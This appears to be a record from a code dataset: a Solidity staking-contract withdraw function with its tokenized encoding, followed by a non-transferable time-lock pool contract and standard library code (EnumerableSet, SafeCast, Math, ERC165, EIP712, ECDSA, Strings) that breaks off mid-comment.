function _withdraw(uint256 tokenId) internal nonReentrant updateReward(tokenId) onlyTokenOwner(tokenId) { _claimFees(tokenId); require(deposits[tokenId].liquidity > 0, "Cannot withdraw 0"); totalSupply = totalSupply.sub(deposits[tokenId].derivedLiquidity); delete deposits[tokenId]; _removeTokenFromOwnerEnumeration(msg.sender, tokenId); _removeTokenFromAllTokensEnumeration(tokenId); balanceOf[msg.sender] -= 1; nonfungiblePositionManager.safeTransferFrom( address(this), msg.sender, tokenId ); if (balanceOf[msg.sender] == 0 && attached[msg.sender]) { attached[msg.sender] = false; IGaugeVoterV2(registry.gaugeVoter()).detachStakerFromGauge( msg.sender ); } emit Withdrawn(msg.sender, tokenId); }
3,067,983
[ 1, 14784, 1656, 281, 364, 326, 9787, 345, 22498, 1430, 326, 290, 1222, 628, 3134, 526, 1366, 326, 423, 4464, 1473, 358, 326, 729, 10199, 309, 1008, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 1918, 9446, 12, 11890, 5034, 1147, 548, 13, 203, 3639, 2713, 203, 3639, 1661, 426, 8230, 970, 203, 3639, 1089, 17631, 1060, 12, 2316, 548, 13, 203, 3639, 1338, 1345, 5541, 12, 2316, 548, 13, 203, 565, 288, 203, 3639, 389, 14784, 2954, 281, 12, 2316, 548, 1769, 203, 203, 3639, 2583, 12, 323, 917, 1282, 63, 2316, 548, 8009, 549, 372, 24237, 405, 374, 16, 315, 4515, 598, 9446, 374, 8863, 203, 3639, 2078, 3088, 1283, 273, 2078, 3088, 1283, 18, 1717, 12, 323, 917, 1282, 63, 2316, 548, 8009, 765, 2950, 48, 18988, 24237, 1769, 203, 3639, 1430, 443, 917, 1282, 63, 2316, 548, 15533, 203, 203, 3639, 389, 4479, 1345, 1265, 5541, 21847, 12, 3576, 18, 15330, 16, 1147, 548, 1769, 203, 3639, 389, 4479, 1345, 1265, 1595, 5157, 21847, 12, 2316, 548, 1769, 203, 3639, 11013, 951, 63, 3576, 18, 15330, 65, 3947, 404, 31, 203, 203, 3639, 1661, 12125, 75, 1523, 2555, 1318, 18, 4626, 5912, 1265, 12, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 1147, 548, 203, 3639, 11272, 203, 203, 3639, 309, 261, 12296, 951, 63, 3576, 18, 15330, 65, 422, 374, 597, 7495, 63, 3576, 18, 15330, 5717, 288, 203, 5411, 7495, 63, 3576, 18, 15330, 65, 273, 629, 31, 203, 5411, 13102, 8305, 58, 20005, 58, 22, 12, 9893, 18, 75, 8305, 58, 20005, 1435, 2934, 8238, 497, 510, 6388, 1265, 18941, 12, 203, 7734, 1234, 18, 15330, 203, 5411, 11272, 203, 3639, 289, 203, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "./TimeLockPool.sol"; contract TimeLockNonTransferablePool is TimeLockPool { constructor( string memory _name, string memory _symbol, address _depositToken, address _rewardToken, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration, uint256 _maxBonus, uint256 _maxLockDuration ) TimeLockPool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration, _maxBonus, _maxLockDuration) { } // disable transfers function _transfer(address _from, address _to, uint256 _amount) internal pure override { revert("NON_TRANSFERABLE"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see 